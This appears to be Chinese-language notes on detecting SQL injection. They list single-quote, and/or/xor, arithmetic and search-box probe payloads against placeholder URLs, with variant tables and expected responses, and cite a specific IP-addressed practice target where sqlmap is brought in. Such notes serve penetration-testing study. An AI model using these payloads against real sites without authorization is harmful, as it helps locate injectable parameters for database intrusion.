最为经典的单引号判断法: 在参数后面加上单引号,比如:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
输入域的值为字符型
‘and '1'='1 和 ’and '1'='2来判断
http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
构造测试 预期结果 变种
a' //触发错误,返回数据库错误
a' or '1'='1 //永真条件,返回所有记录 a') or ('1'=1
a' or '1'='2 //空条件,返回原来相同结果 a') or ('1'=2
a' and '1'='2 //永假条件,不返回记录 a') and ('1'='2
输入域的值为数字型
用1=1,1=2法
若满足条件,则存在SQL注入漏洞,程序没有对提交的整型参数的合法性做过滤或判断
http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
构造测试 预期结果 变种
' //触发错误,返回数据库错误
1+1 //返回原来相同的结果 3-1
1+0 //返回原来相同的结果
1 or 1=1 //永真条件,返回所有记录 1) or (1=1
1 or 1=2 //空条件,返回原来相同的结果 1) or (1=2
1 and 1=2 //永假条件,不返回记录 1) and (1=2
1.单引号判断
http://www.xxx.com/xxx.asp?id=10' 如果出现错误提示,则该网站可能就存在注入漏洞。
2.and判断
http://www.xxx.com/xxx.asp?id=10'and 1=1这个条件永远都是真的,所以当然返回是正常页
http://www.xxx.com/xxx.asp?id=10'and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。
3.Or判断(OR是提交返回正确有注入点)
http://www.xxx.com/xxx.asp?id=10'or 1=1
http://www.xxx.com/xxx.asp?id=10'or 1=2
4.xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点。)
http://www.xxx.com/xxx.asp?id=10'xor 1=1
http://www.xxx.com/xxx.asp?id=10'xor 1=2
5.加减号数字判断(加上-1,返回错误页面,则也表示存在注入漏洞.)
http://www.xxx.com/xxx.asp?id=10-0
http://www.xxx.com/xxx.asp?id=10-1
http://www.xxx.com/xxx.asp?id=10+1
6.输入框判断
可以使用特殊符号去判断
#@!$/ ...
http://120.24.86.145:9001/sql/
登录框注入,使用#,--都无效,但是使用\报错,这时候上sqlmap,发现可以注入。
输入域的值为搜索型
在输入框输入%'and '1'='1' and '%'='
%'and '1'='2' and '%'='
两次查询出来的结果不相同,那么就可以确定存在注入了。
服务端返回错误形式
1. 错误直接回显在页面上
2. 错误隐藏在页面源代码中
3. 检测到错误跳转到另一个页面
4. 返回HTTP错误代码500或重定向302
5. 适当处理错误结果,常显示一个通用错误页面